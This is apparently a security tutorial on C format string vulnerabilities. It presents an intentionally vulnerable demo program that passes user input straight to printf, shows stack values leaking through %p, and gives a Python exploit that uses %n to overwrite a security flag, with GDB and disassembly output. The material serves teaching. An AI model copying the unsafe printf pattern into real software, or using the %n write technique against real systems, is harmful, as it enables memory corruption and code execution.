A format string defines the way in which data will be represented when printed. For instance, the following C code will output the current year:
printf ("This year is: %d\n", 2019);
If data supplied to the printf function is derived from user input, this may lead to a format string vulnerability.
Taking advantage of the vulnerability allows attackers to read arbitary memory locations, which assist with further memory corruption attacks by undermining the effectiveness of ASLR.
In addition, an attacker may be able to write to arbitary memory locations and achieve code execution.
The below code listing shows an application which is vulnerable to format string exploitation.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int security_flag;
void victory()
{
printf("Security check passed!\n");
}
void failure()
{
printf("Security check failed!\n");
}
void get_password()
{
security_flag = 0;
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if (security_flag > 1)
{
victory();
}
else
{
failure();
}
exit(1);
}
int main(int argc, char **argv)
{
get_password();
}
Reading Memory Locations
The “%p” format string parameter interprets data entered as a pointer. If the number of format string parameters exceeds the amount of data entered additional values from the stack will be presented.
./format_string_demo
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAA-0x1f4-0xb7fcc5a0-0xb7ff212a-0x8-0xb7ff2116-0xb7fff000-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d
Security check failed!
The above example shows stack memory being displayed after using the “%p” format string. We can clearly see the “AAAA” characters entered being echoed back to the user in hexadecimal format (0x41414141).
Writing to Memory
While the above behavior is interesting, to subvert the application logic and reach the victory function we will need to modify the “security_flag” variable to be a value greater than zero. This can be achieved using the “%n” format string parameter. This parameter takes the number of characters written, and stores the output into a pointer, which is supplied as an argument.
First, we need to find the memory address of the security_flag variable in memory. We can do this using GDB:
(gdb) break main
Breakpoint 1 at 0x804859b
(gdb) run
Starting program: /home/user/format_string_demo
Breakpoint 1, 0x0804859b in main ()
(gdb) p &security_flag
$1 = (<data variable, no debug info> *) 0x804a048 <security_flag>
So, we know we need to write a value greater than 1 to the address 0x804a048.
#!/usr/bin/python
import struct
buf = ''
buf += struct.pack('I', 0x804a048)
buf += '%p'*3
buf += '%n'
print(buf)
The above exploit first packs the address we wish to write to, then uses the %p parameter to read some data. The %n parameter then counts the output produced from %p and stores it in the memory address referenced.
We can run the script, and output the contents to a file:
python exploit.py > out
Then run the target executable in GDB. Set a breakpoint on the exit function of the get_password method:
(gdb) disassemble get_password
Dump of assembler code for function get_password:
0x080484ed <+0>: push %ebp
0x080484ee <+1>: mov %esp,%ebp
0x080484f0 <+3>: sub $0x208,%esp
0x080484f6 <+9>: movl $0x0,0x804a048
0x08048500 <+19>: mov 0x804a040,%eax
0x08048505 <+24>: sub $0x4,%esp
0x08048508 <+27>: push %eax
0x08048509 <+28>: push $0x200
0x0804850e <+33>: lea -0x208(%ebp),%eax
0x08048514 <+39>: push %eax
0x08048515 <+40>: call 0x8048370 <fgets@plt>
0x0804851a <+45>: add $0x10,%esp
0x0804851d <+48>: sub $0xc,%esp
0x08048520 <+51>: lea -0x208(%ebp),%eax
0x08048526 <+57>: push %eax
0x08048527 <+58>: call 0x8048360 <printf@plt>
0x0804852c <+63>: add $0x10,%esp
0x0804852f <+66>: mov 0x804a048,%eax
0x08048534 <+71>: cmp $0x1,%eax
0x08048537 <+74>: jle 0x8048540 <get_password+83>
0x08048539 <+76>: call 0x80484bb <victory>
0x0804853e <+81>: jmp 0x8048545 <get_password+88>
0x08048540 <+83>: call 0x80484d4 <failure>
0x08048545 <+88>: sub $0xc,%esp
0x08048548 <+91>: push $0x1
0x0804854a <+93>: call 0x8048390 <exit@plt>
End of assembler dump.
(gdb) break * 0x0804854a
Breakpoint 1 at 0x804854a
Next, run the application and evaluate the contents of the security_flag variable:
(gdb) run < out
Starting program: /home/user/format_string_demo < out
H51230867961923086950698
Security check passed!
Breakpoint 1, 0x0804854a in get_password ()
(gdb) p/s security_flag
$2 = 27
We can see the security check has been passed since the number 27 has been written to the security_flag address.